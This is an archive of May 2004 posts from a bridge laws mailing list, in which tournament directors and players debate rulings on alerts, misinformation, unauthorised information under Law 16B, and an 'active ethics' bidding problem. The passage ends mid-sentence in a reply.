Subject: [blml] Betr: Johnny Wiser In-Reply-To: <010601c43063$5f43f040$32244c0c@valuedqe19ks6r> Message-ID: <408D472300008055@ocpmta6.freegates.net> Thanks for telling me. I remember meeting him for the first time when we had Geneva 1990, where he was in charge of organizing the appeals being presented to the committees. A man with such experience staying as kind as he did towards a greeny as I was, he made a remarkable impression on me. And it was really nice to meet him again in Montreal, still the friendly and sympathetic gentleman as I remembered him. A treasure for bridge he was. ton _____________________________________________________________________ Bent u toe aan sneller en goedkoper internet? Ga dan naar http://adsl.tiscali.nl From hermandw@hdw.be Mon May 3 08:26:42 2004 From: hermandw@hdw.be (Herman De Wael) Date: Mon, 03 May 2004 09:26:42 +0200 Subject: SV: [blml] Law 75C ambiguity (was Psyches) In-Reply-To: <5.2.0.9.0.20040502170845.026f3140@pop.starpower.net> References: <5.2.0.9.0.20040430164359.024b8a80@pop.starpower.net> <5.2.0.9.0.20040430164359.024b8a80@pop.starpower.net> <5.2.0.9.0.20040502170845.026f3140@pop.starpower.net> Message-ID: <4095F432.4010403@hdw.be> Eric, yet again, blml has failed to pick up on the point I am trying to make. It has been suggested, here in the beginning of this thread, that a lawbook without reference to GBK would be a better one. I have tried, by an example, to show that such a lawbook would not work. Of course I would not believe a player who said that he did not know the meaning of the word forcing. But my point is that under this hypothetical new lawbok it would not matter if he understood it or not - the explanation would ahve to include that meaning regardless of whether this particular opponent, all normal opponents, or the whole universe knew. That is my point and it is not worthwhile discussing the case any further. Eric Landau wrote: [snip] -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From gordon@gordonrainsford.co.uk Mon May 3 10:52:31 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Mon, 3 May 2004 10:52:31 +0100 Subject: [blml] ACBL Long Beach 2003 casebook appeal 37 In-Reply-To: <6.0.1.1.1.20040503011021.01b2b258@postoffice.worldnet.att.net> References: <6.0.1.1.1.20040503011021.01b2b258@postoffice.worldnet.att.net> Message-ID: <9852DB32-9CE7-11D8-A535-0003936A6522@gordonrainsford.co.uk> On 3 May 2004, at 06:13, Todd M. Zimnoch wrote: > At 12:53 AM 5/3/2004, richard.hills@immi.gov.au wrote: > > It seems to me that Grattan Endicott has > > misinterpreted Law 16B. > > > > Law 16B refers to "seeing a card belonging > > to another player at his own table before > > the auction begins", but this case was > > about seeing 13 of partner's cards after > > the auction had finished and the play had > > begun. > > I don't think Grattan has misinterpreted L16B. You should reparse > L16B as follows: > > When a player accidentally receives unauthorized information about a > board he is playing or has yet to play, examples>, the Director should be notified forthwith, preferably by > the recipient of the information. And then a list of three things that the director may do, "if the Director considers that the information could interfere with normal play", none of which is what the director did. -- Gordon Rainsford London UK From svenpran@online.no Mon May 3 13:27:44 2004 From: svenpran@online.no (Sven Pran) Date: Mon, 3 May 2004 14:27:44 +0200 Subject: [blml] Misinformation? Damage? Self-inflected? Message-ID: <000401c4310a$09400100$6900a8c0@WINXP> Recently I was summoned to a situation on which I shall appreciate = comments by blml: Swiss PAIRS(!), matchpoints, Norwegian fairly high (but not top) level: Dealer North, vulnerable all. K 4 T 7 A K Q 6 A T 8 4 2 J T 9 5 A 7 3 9 3 2 K Q J 8 6 J 9 5 3 T 8 7 4 K 7 J Q 8 6 2 A 5 4 2 Q 9 6 5 3 N E S W 1NT 2D X 2H 3D 3H X AP Facts: 1NT: 15-17 2D: Shows Hearts or Spades and clubs (Yeslek) X: Shows Diamonds (double for penalty) if 2D is conventional, otherwise shows majors. East claims he bid 3H on the "knowledge" that partner must be void in diamonds as both North and South each showed (at least) 4 Diamonds. He = would not have bid 3H had he known that South indicated 4 hearts with his = double. (With a pass from East at this stage North/South would probably have = ended up in 3NT for one down: -100. The table result was three down: +800). The 2D bid is alertable and probably was alerted by knocking the table. However there was disagreement between sides as to how noticeable this = alert (in case) was made.=20 The (first) double by South was not alerted; it is alertable in Norway = if it shows majors, not if it shows diamonds ("double for penalty"). I'll answer clarifying questions in case I have accidentally left out anything important and I shall welcome comments. (It is not accidental = that I have left out any indication on how I ruled). Regards Sven From gordon@gordonrainsford.co.uk Mon May 3 14:03:07 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Mon, 3 May 2004 14:03:07 +0100 Subject: [blml] Misinformation? Damage? Self-inflected? In-Reply-To: <000401c4310a$09400100$6900a8c0@WINXP> References: <000401c4310a$09400100$6900a8c0@WINXP> Message-ID: <387FD644-9D02-11D8-8498-0003936A6522@gordonrainsford.co.uk> On 3 May 2004, at 13:27, Sven Pran wrote: > Recently I was summoned to a situation on which I shall appreciate > comments > by blml: > > Swiss PAIRS(!), matchpoints, Norwegian fairly high (but not top) level: > Dealer North, vulnerable all. > K 4 > T 7 > A K Q 6 > A T 8 4 2 > J T 9 5 A 7 3 > 9 3 2 K Q J 8 6 > J 9 5 3 T 8 7 4 > K 7 J > Q 8 6 2 > A 5 4 > 2 > Q 9 6 5 3 > > N E S W > 1NT 2D X 2H > 3D 3H X AP > > Facts: 1NT: 15-17 > 2D: Shows Hearts or Spades and clubs (Yeslek) Is that: Hearts, or Spades and clubs? Or is it: Hearts or Spades, and clubs? I'm not familiar with this. > X: Shows Diamonds (double for penalty) if 2D is conventional, > otherwise > shows majors. > East claims he bid 3H on the "knowledge" that partner must be void in > diamonds as both North and South each showed (at least) 4 Diamonds. This seems like wishful thinking: a void is not certain, even if NT can be relied on to have eight diamonds between them. I've seen many situations where people who bid like NS turn out to have a 4-3 or 5-2 "fit", especially when they aren't very clear what the double shows - a few high diamond cards, or length? In any case, East is only entitled to NS's agreements (were they verified?) and has no redress if South has mis-bid (whether or not it was caused by a perceived lack of alert of 2D). > He would > not have bid 3H had he known that South indicated 4 hearts with his > double. He hasn't, has he? And he didn't have them. > (With a pass from East at this stage North/South would probably have > ended > up in 3NT for one down: -100. The table result was three down: +800). > > The 2D bid is alertable and probably was alerted by knocking the table. Is that correct procedure in the game where this took place? > However there was disagreement between sides as to how noticeable this > alert > (in case) was made. Is it not the responsibility of the alerting side to make sure their opponents have noticed the alert? I know we have a regulation to that effect when playing with bidding boxes, here in the EBU. > > The (first) double by South was not alerted; it is alertable in Norway > if it > shows majors, not if it shows diamonds ("double for penalty"). > > I'll answer clarifying questions in case I have accidentally left out > anything important and I shall welcome comments. (It is not accidental > that > I have left out any indication on how I ruled). > > Regards Sven -- Gordon Rainsford London UK From Harald.Skjaran@bridgefederation.no Mon May 3 14:32:59 2004 From: Harald.Skjaran@bridgefederation.no (Skjaran, Harald) Date: Mon, 3 May 2004 15:32:59 +0200 Subject: SV: [blml] Misinformation? Damage? Self-inflected? Message-ID: <89FD2BC254969C4297E82458BB27990061ECBE@exchange.idrettsforbundet.no> Gordon Rainsford wrote: Sven Pran wrote: > Recently I was summoned to a situation on which I shall appreciate=20 > comments > by blml: > > Swiss PAIRS(!), matchpoints, Norwegian fairly high (but not top) level: > Dealer North, vulnerable all. > K 4 > T 7 > A K Q 6 > A T 8 4 2 > J T 9 5 A 7 3 > 9 3 2 K Q J 8 6 > J 9 5 3 T 8 7 4 > K 7 J > Q 8 6 2 > A 5 4 > 2 > Q 9 6 5 3 > > N E S W > 1NT 2D X 2H > 3D 3H X AP > > Facts: 1NT: 15-17 > 2D: Shows Hearts or Spades and clubs (Yeslek) Is that: Hearts, or Spades and clubs? Or is it: Hearts or Spades, and clubs? I'm not familiar with this. ----- It's hearts, or spades and clubs. ----- > X: Shows Diamonds (double for penalty) if 2D is conventional,=20 > otherwise > shows majors. > East claims he bid 3H on the "knowledge" that partner must be void in > diamonds as both North and South each showed (at least) 4 Diamonds. This seems like wishful thinking: a void is not certain, even if NT can=20 be relied on to have eight diamonds between them. I've seen many=20 situations where people who bid like NS turn out to have a 4-3 or 5-2=20 "fit", especially when they aren't very clear what the double shows - a=20 few high diamond cards, or length? In any case, East is only entitled to NS's agreements (were they=20 verified?) and has no redress if South has mis-bid (whether or not it=20 was caused by a perceived lack of alert of 2D). > He would > not have bid 3H had he known that South indicated 4 hearts with his=20 > double. He hasn't, has he? And he didn't have them. > (With a pass from East at this stage North/South would probably have=20 > ended > up in 3NT for one down: -100. The table result was three down: +800). > > The 2D bid is alertable and probably was alerted by knocking the table. Is that correct procedure in the game where this took place? ----- Correct procedure is either to show the alert card or knock the table. ----- > However there was disagreement between sides as to how noticeable this > alert > (in case) was made. Is it not the responsibility of the alerting side to make sure their=20 opponents have noticed the alert? I know we have a regulation to that=20 effect when playing with bidding boxes, here in the EBU. ----- We've got the same regulation in Norway. ----- > > The (first) double by South was not alerted; it is alertable in Norway > if it > shows majors, not if it shows diamonds ("double for penalty"). > > I'll answer clarifying questions in case I have accidentally left out > anything important and I shall welcome comments. (It is not accidental > that > I have left out any indication on how I ruled). ----- Sven said the normal contract for NS if east passed was 3NT -1. I can't see how the defence won't get 1 spade, 4 hearts and 1 club for 2 down. Regards, Harald ----- > > Regards Sven -- Gordon Rainsford London UK _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From svenpran@online.no Mon May 3 16:52:48 2004 From: svenpran@online.no (Sven Pran) Date: Mon, 3 May 2004 17:52:48 +0200 Subject: [blml] Misinformation? Damage? Self-inflected? In-Reply-To: <89FD2BC254969C4297E82458BB27990061ECBE@exchange.idrettsforbundet.no> Message-ID: <000001c43126$aef92ba0$6900a8c0@WINXP> Thanks for the comments so far, and Harald has covered most questions perfectly. I have added a few points myself below. > Skjaran, Harald > Gordon Rainsford wrote: >=20 > Sven Pran wrote: >=20 > > Recently I was summoned to a situation on which I shall appreciate > > comments > > by blml: > > > > Swiss PAIRS(!), matchpoints, Norwegian fairly high (but not top) > level: > > Dealer North, vulnerable all. > > K 4 > > T 7 > > A K Q 6 > > A T 8 4 2 > > J T 9 5 A 7 3 > > 9 3 2 K Q J 8 6 > > J 9 5 3 T 8 7 4 > > K 7 J > > Q 8 6 2 > > A 5 4 > > 2 > > Q 9 6 5 3 > > > > N E S W > > 1NT 2D X 2H > > 3D 3H X AP > > > > Facts: 1NT: 15-17 > > 2D: Shows Hearts or Spades and clubs (Yeslek) >=20 > Is that: Hearts, or Spades and clubs? > Or is it: Hearts or Spades, and clubs? I'm not familiar with this. > ----- > It's hearts, or spades and clubs. Yes, either the immediately denomination above the named, or the two = next denominations. Sorry for the missing comma to make this clear. > ----- >=20 > > X: Shows Diamonds (double for penalty) if 2D is conventional, > > otherwise > > shows majors. > > East claims he bid 3H on the "knowledge" that partner must be void = in > > diamonds as both North and South each showed (at least) 4 Diamonds. >=20 > This seems like wishful thinking: a void is not certain, even if NT = can > be relied on to have eight diamonds between them. I've seen many > situations where people who bid like NS turn out to have a 4-3 or 5-2 > "fit", especially when they aren't very clear what the double shows - = a > few high diamond cards, or length? >=20 > In any case, East is only entitled to NS's agreements (were they > verified?) and has no redress if South has mis-bid (whether or not it > was caused by a perceived lack of alert of 2D). My impression is that the agreements between North and South were = sustained by their calls based on the fact that neither of them apparently = recognized (or made) any alert. >=20 > > He would > > not have bid 3H had he known that South indicated 4 hearts with his > > double. >=20 > He hasn't, has he? And he didn't have them. Indeed he hadn't!=20 >=20 > > (With a pass from East at this stage North/South would probably have > > ended > > up in 3NT for one down: -100. The table result was three down: = +800). > > > > The 2D bid is alertable and probably was alerted by knocking the > table. >=20 > Is that correct procedure in the game where this took place? > ----- > Correct procedure is either to show the alert card or knock the table. > ----- >=20 > > However there was disagreement between sides as to how noticeable = this >=20 > > alert > > (in case) was made. >=20 > Is it not the responsibility of the alerting side to make sure their > opponents have noticed the alert? I know we have a regulation to that > effect when playing with bidding boxes, here in the EBU. > ----- > We've got the same regulation in Norway. Indeed, and I said that much to East/West. I also told them that this responsibility was a great encouragement to alert with the alert card = rather than by knocking.=20 > ----- >=20 > > > > The (first) double by South was not alerted; it is alertable in = Norway >=20 > > if it > > shows majors, not if it shows diamonds ("double for penalty"). > > > > I'll answer clarifying questions in case I have accidentally left = out > > anything important and I shall welcome comments. (It is not = accidental >=20 > > that > > I have left out any indication on how I ruled). > ----- > Sven said the normal contract for NS if east passed was 3NT -1. I = can't > see how the defence won't get 1 spade, 4 hearts and 1 club for 2 down. OK, I fancied the club suit handled playing the Queen towards the Ace! I didn't engage much in a deep analysis of which line of play to assume, = but if I had ended up using L12C2 against N/S the ruling should of course be = 3NT down 2. The "normal" results varied from 3NT N +10 and 5C N +11 to 3NT N -2 The complete table report can be seen here: http://www.bk2000.org/turnering/default.asp?Fil=3Dauto/104947 where you select S:12 for the "spill" (boards) in round 12. (That will = also disclose my ruling for those who still are in doubt). Regards Sven >=20 > Regards, > Harald > ----- > > > > Regards Sven > -- > Gordon Rainsford > London UK >=20 >=20 > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml >=20 > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From toddz@att.net Mon May 3 17:45:49 2004 From: toddz@att.net (Todd M. Zimnoch) Date: Mon, 03 May 2004 12:45:49 -0400 Subject: [blml] ACBL Long Beach 2003 casebook appeal 37 In-Reply-To: <9852DB32-9CE7-11D8-A535-0003936A6522@gordonrainsford.co.uk > References: <6.0.1.1.1.20040503011021.01b2b258@postoffice.worldnet.att.net> <9852DB32-9CE7-11D8-A535-0003936A6522@gordonrainsford.co.uk> Message-ID: <6.0.1.1.1.20040503124314.01b2ce38@postoffice.worldnet.att.net> At 05:52 AM 5/3/2004, Gordon Rainsford wrote: > And then a list of three things that the director may do, "if the > Director considers that the information could interfere with normal > play", none of which is what the director did. The director is not required to judge that the information affected the hand and he didn't, for better or for worse. -Todd From wayne.burrows@xtra.co.nz Mon May 3 22:42:16 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Tue, 4 May 2004 09:42:16 +1200 Subject: [blml] Misinformation? Damage? Self-inflected? In-Reply-To: <000401c4310a$09400100$6900a8c0@WINXP> Message-ID: <000801c43157$842a58a0$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Sven Pran > Sent: Tuesday, 4 May 2004 12:28 a.m. > To: blml > Cc: per.nordland@geno.no > Subject: [blml] Misinformation? Damage? Self-inflected? > > > Recently I was summoned to a situation on which I shall > appreciate comments > by blml: > > Swiss PAIRS(!), matchpoints, Norwegian fairly high (but not > top) level: > Dealer North, vulnerable all. > K 4 > T 7 > A K Q 6 > A T 8 4 2 > J T 9 5 A 7 3 > 9 3 2 K Q J 8 6 > J 9 5 3 T 8 7 4 > K 7 J > Q 8 6 2 > A 5 4 > 2 > Q 9 6 5 3 > > N E S W > 1NT 2D X 2H > 3D 3H X AP > > Facts: 1NT: 15-17 > 2D: Shows Hearts or Spades and clubs (Yeslek) > X: Shows Diamonds (double for penalty) if 2D is > conventional, otherwise > shows majors. > East claims he bid 3H on the "knowledge" that partner must be void in > diamonds as both North and South each showed (at least) 4 > Diamonds. He would > not have bid 3H had he known that South indicated 4 hearts > with his double. > (With a pass from East at this stage North/South would > probably have ended > up in 3NT for one down: -100. The table result was three down: +800). > > The 2D bid is alertable and probably was alerted by knocking > the table. > However there was disagreement between sides as to how > noticeable this alert > (in case) was made. What is the proper alert procedure? Wayne From wayne.burrows@xtra.co.nz Mon May 3 22:45:12 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Tue, 4 May 2004 09:45:12 +1200 Subject: [blml] Misinformation? Damage? Self-inflected? In-Reply-To: <000001c43126$aef92ba0$6900a8c0@WINXP> Message-ID: <000901c43157$ea061740$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Sven Pran > Sent: Tuesday, 4 May 2004 3:53 a.m. > To: blml > Subject: RE: [blml] Misinformation? Damage? Self-inflected? > > > Thanks for the comments so far, and Harald has covered most questions > perfectly. I have added a few points myself below. > > > Skjaran, Harald > > Gordon Rainsford wrote: > > > > Sven Pran wrote: > > > > > > > > The 2D bid is alertable and probably was alerted by knocking the > > table. > > > > Is that correct procedure in the game where this took place? > > ----- > > Correct procedure is either to show the alert card or knock > the table. > > ----- > > > > > However there was disagreement between sides as to how > noticeable this > > > > > alert > > > (in case) was made. > > Does the alerting side have a responsibility is it to ensure that the alert was noticed by the opponents? Wayne From richard.hills@immi.gov.au Mon May 3 23:30:59 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 4 May 2004 08:30:59 +1000 Subject: [blml] ACBL Long Beach 2003 casebook appeal 37 Message-ID: Grattan Endicott wrote: >>+=3D+ I think, Richard, that you are reading 16B >>inattentively. There is a difference between >>".... play, as by looking at ... " and ".play, by >>looking at...". In the first of these versions the >>list following is not exhaustive. Which is not to >>say we cannot do better. >> ~ Grattan ~ +=3D+ Ralph Waldo Emerson wrote: >If the red slayer thinks he slays, > Or if the slain thinks he is slain >They know not well the subtle ways > I keep, and pass, and turn again. Richard James Hills writes: Admirable subtlety from Grattan, but since I am an unsubtle red slayer, I falsely assume that the Laws are consistent. Under that known-to-be-false assumption, I assume that Law 16B is the relevant Law for cards exposed before the auction, and I assume that Law 24 is the relevant Law for cards exposed during the auction, and I assume that Laws 48 and 49 are the relevant Laws for cards exposed during the play. Be that as it may. Twenty-odd years ago, Edgar Kaplan devoted a Bridge World editorial to the issue of unsporting but Lawful actions. To provide a basis for discussion, Edgar used the indicative example of a palsied old lady dropping her cards face up on the table. Edgar made the following (paraphrased) points: (a) If Edgar was the opponent of the palsied old lady, Edgar would summon the TD, and request that the TD invoke Law 81C8, "to waive penalties for cause, at his discretion, upon the request of the non-offending side". (b) If a different, unsporting, opponent did not invoke Law 81C8, instead opting to make an impossible contract due to triple-dummy play with 13 penalty cards, Edgar deemed that that was the Lawful right of the unsporting opponent. (c) While Edgar and other fair-minded people might think less of the character of the unsporting opponent, Edgar would *not* penalise the unsporting opponent for rigidly abiding by Law 72A4, "When these Laws provide the innocent side with an option after an irregularity committed by an opponent, it is appropriate to select that action most advantageous". There is an English legal maxim, "hard cases make bad law." I believe that the actual TD in the actual ACBL case fell into the trap of ruling according to what he thought the 1997 Laws should say, rather than according to what a consistent interpretation of the 1997 Laws imply. Notwithstanding this, there is an appropriate remedy for a Law which permits unsporting behaviour. In the December 1977 Bridge World, Harold W. Burt wrote: [snip] >>>Whether the setting is a duplicate game or traffic >>>on the highway, I really believe that if a law is >>>good, it should be enforced. All the time. If a >>>law is bad, it should be repealed. So, I agree with Harold that a Law which permits an unsporting player to take advantage of a palsied old lady is bad, and should be repealed. My suggested model Law for the 2006 edition of the Laws is: "A player with a relevant physical disability (for example, palsy) is not subject to penalty for exposing a card, and no card of such a player's hand ever becomes a penalty card. Such a player is not required to play any card dropped accidentally. Any such card dropped is unauthorised information to the disabled player's partner, but authorised information to the disabled player's opponents." Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Tue May 4 00:04:12 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 4 May 2004 09:04:12 +1000 Subject: [blml] Misinformation? Damage? Self-inflected? Message-ID: Wayne Burrows asked: >Does the alerting side have a responsibility >to ensure that the alert was noticed by the >opponents? Richard James Hills replied: There is no general Lawful responsiblity upon the alerting side -> see Law 21A. It depends upon what a particular SO's particular alert regulations say. For example, ABF Alert regulation 7.4 states: >>Alerts are to be made by audibly saying, >>"Alert!" and, if written bidding is in >>use, circling the call on the bidding pad. [snip] Most bridge players are verbally oriented left-brain thinkers, but a significant minority of bridge players (such as myself) are visually oriented right-brain thinkers. I therefore applaud the ABF for regulating an increased likelihood that alerts are noticed by the opponents, due to the ABF requirement of dual audible and visual notifications of an alert. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From svenpran@online.no Tue May 4 00:25:28 2004 From: svenpran@online.no (Sven Pran) Date: Tue, 4 May 2004 01:25:28 +0200 Subject: [blml] Misinformation? Damage? Self-inflected? In-Reply-To: <000901c43157$ea061740$0401010a@Desktop> Message-ID: <000001c43165$ec0adf90$6900a8c0@WINXP> > Wayne Burrows .......... > > > Skjaran, Harald > > > Gordon Rainsford wrote: > > > > > > Sven Pran wrote: > > > > > > > > > > > The 2D bid is alertable and probably was alerted by knocking the > > > table. > > > > > > Is that correct procedure in the game where this took place? > > > ----- > > > Correct procedure is either to show the alert card or knock > > the table. > > > ----- > > > > > > > However there was disagreement between sides as to how > > noticeable this > > > > > > > alert > > > > (in case) was made. > > > > > Does the alerting side have a responsibility is it to ensure > that the alert was noticed by the opponents? > > Wayne Yes. I don't remember exactly when and how but I remember that principle as having been established by WBFLC somewhere. Regards Sven From richard.hills@immi.gov.au Tue May 4 02:17:01 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 4 May 2004 11:17:01 +1000 Subject: [blml] Active ethics (was Double-meaning) Message-ID: Imps, Dlr: North, Vul: East-West The bidding has gone: WEST NORTH EAST SOUTH --- 1NT(1) Pass 2C(2) Pass Pass Double ? (1) Partnership agreement is balanced 12-14 hcp (2) Partnership agreement is simple Stayman You, South, hold: Q3 9643 AKJ82 J2 What call do you make? What other calls do you consider making? Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From john@asimere.com Tue May 4 04:06:37 2004 From: john@asimere.com (John (MadDog) Probst) Date: Tue, 4 May 2004 04:06:37 +0100 Subject: [blml] Active ethics (was Double-meaning) In-Reply-To: References: Message-ID: In article , richard.hills@immi.gov.au writes > > > > >Imps, Dlr: North, Vul: East-West > >The bidding has gone: > >WEST NORTH EAST SOUTH >--- 1NT(1) Pass 2C(2) >Pass Pass Double ? > >(1) Partnership agreement is balanced 12-14 hcp >(2) Partnership agreement is simple Stayman > >You, South, hold: > >Q3 >9643 >AKJ82 >J2 > >What call do you make? Pass. a 1336 in my experience, although I've used it sandbag an international or two. >What other calls do you consider making? None. > >Best wishes > >Richard James Hills >------------------------------------------------------------------------= -------- >------ > Important Warning: If you have received this email in error, please >advise the sender and delete the message and attachments immediately. =A0= This >email, including attachments, may contain confidential, legally privileg= ed >and/or copyright information, the unauthorised use of which is prohibite= d. >Any views expressed in this email are those of the individual sender, >except where the sender expressly, and with authority, states them to be >the view of the Department of Immigration and Multicultural and Indigeno= us >Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations unde= r the >Privacy Act 1988 (see www.immi.gov.au). >------------------------------------------------------------------------= -------- >------ > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml --=20 John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From richard.hills@immi.gov.au Tue May 4 05:03:46 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 4 May 2004 14:03:46 +1000 Subject: [blml] Active ethics (was Double-meaning) Message-ID: >>Imps, Dlr: North, Vul: East-West >> >>The bidding has gone: >> >>WEST NORTH EAST SOUTH >>--- 1NT(1) Pass 2C(2) >>Pass Pass Double ? >> >>(1) Partnership agreement is balanced 12-14 hcp >>(2) Partnership agreement is simple Stayman >> >>You, South, hold: >> >>Q3 >>9643 >>AKJ82 >>J2 >> >>What call do you make? John (MadDog) Probst: >Pass. A 1336 in my experience, although I've >used it to sandbag an international or two. >>What other calls do you consider making? John (MadDog) Probst: >None. Richard James Hills: How the bidding has *really* gone: WEST NORTH EAST SOUTH --- 1NT(1) Double(2) 2C(3) Pass Pass Double ? (1) Partnership agreement is balanced 12-14 hcp (2) South carelessly fails to notice East's double, and carelessly assumes that East passed instead (Law 21A is relevant) (3) North correctly alerts South's 2C, and, in response to West's enquiry, North correctly explains that - after an interposed double - South's 2C is not simple Stayman, but rather a weak hand with clubs and a major; as a result of North's explanation and alert, South now notices that East's first call was a double You, South, hold: Q3 9643 AKJ82 J2 What actively ethical call do you make? What other actively ethical calls do you consider making? Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From john@asimere.com Tue May 4 05:34:43 2004 From: john@asimere.com (John (MadDog) Probst) Date: Tue, 4 May 2004 05:34:43 +0100 Subject: [blml] Active ethics (was Double-meaning) In-Reply-To: References: Message-ID: In article , richard.hills@immi.gov.au writes snipped the bit with East's first pass. > >How the bidding has *really* gone: > >WEST NORTH EAST SOUTH >--- 1NT(1) Double(2) 2C(3) >Pass Pass Double ? > >(1) Partnership agreement is balanced 12-14 hcp >(2) South carelessly fails to notice East's > double, and carelessly assumes that East > passed instead (Law 21A is relevant) >(3) North correctly alerts South's 2C, and, in > response to West's enquiry, North correctly > explains that - after an interposed double > - South's 2C is not simple Stayman, but > rather a weak hand with clubs and a major; > as a result of North's explanation and > alert, South now notices that East's first > call was a double > >You, South, hold: > >Q3 >9643 >AKJ82 >J2 > >What actively ethical call do you make? >What other actively ethical calls do you >consider making? Still pass. probably go for 800. wtp? Bid 2D with screens of course. > >Best wishes > >RJH >------------------------------------------------------------------------= -------- >------ > Important Warning: If you have received this email in error, please >advise the sender and delete the message and attachments immediately. =A0= This >email, including attachments, may contain confidential, legally privileg= ed >and/or copyright information, the unauthorised use of which is prohibite= d. >Any views expressed in this email are those of the individual sender, >except where the sender expressly, and with authority, states them to be >the view of the Department of Immigration and Multicultural and Indigeno= us >Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations unde= r the >Privacy Act 1988 (see www.immi.gov.au). >------------------------------------------------------------------------= -------- >------ > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml --=20 John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From hermandw@hdw.be Tue May 4 07:54:44 2004 From: hermandw@hdw.be (Herman De Wael) Date: Tue, 04 May 2004 08:54:44 +0200 Subject: [blml] Active ethics (was Double-meaning) In-Reply-To: References: Message-ID: <40973E34.5000700@hdw.be> I did not reply to the first (also because I noticed there was some follow-up) because there is something strange there. Now though: richard.hills@immi.gov.au wrote: > > > >>>Imps, Dlr: North, Vul: East-West >>> >>>The bidding has gone: >>> >>>WEST NORTH EAST SOUTH >>>--- 1NT(1) Pass 2C(2) >>>Pass Pass Double ? >>> >>>(1) Partnership agreement is balanced 12-14 hcp >>>(2) Partnership agreement is simple Stayman >>> >>>You, South, hold: >>> >>>Q3 >>>9643 >>>AKJ82 >>>J2 >>> >>>What call do you make? > Impossible to answer. Why did North pass my Stayman? I need to know a lot more about my partnership to know what probably has happened. But that something happened must be clear. Which is the answer to a question I will pose below. > > John (MadDog) Probst: > > [snip] > > > Richard James Hills: > > How the bidding has *really* gone: > > WEST NORTH EAST SOUTH > --- 1NT(1) Double(2) 2C(3) > Pass Pass Double ? > > (1) Partnership agreement is balanced 12-14 hcp > (2) South carelessly fails to notice East's > double, and carelessly assumes that East > passed instead (Law 21A is relevant) > (3) North correctly alerts South's 2C, and, in > response to West's enquiry, North correctly > explains that - after an interposed double > - South's 2C is not simple Stayman, but > rather a weak hand with clubs and a major; > as a result of North's explanation and > alert, South now notices that East's first > call was a double > > You, South, hold: > > Q3 > 9643 > AKJ82 > J2 > > What actively ethical call do you make? > What other actively ethical calls do you > consider making? > Now I ask myself - would I have noticed the double when it comes back to me. And the answer is: undoubtedly. Passing a Stayman is so strange that I cannot fail to realize that something has gone wrong, and I ask for a review of the bidding (or look at the table) and the double comes to light. Then I also ask myself whether or not I know my system well enough to realize, 100% certain, what my 2C means systemically. And of course I do. So I don't consider the explanations that my partner has provided to be UI (or, more precise, I consider I have AI to the same effect) and I consider myself (actively ethically) not bound to act. And then I solve the problem about how to best proceed from here. So, I've shown clubs and a major, and partner has preferred clubs, and East has doubled them. What would 2D mean, now? If it is not in our system, I suppose partner will take it as "looking for some other contract" and maybe we've found a better spot. Can our 1NT hold 5Cl? if not, then he certainly has diamonds, but will he pass 2DX? And 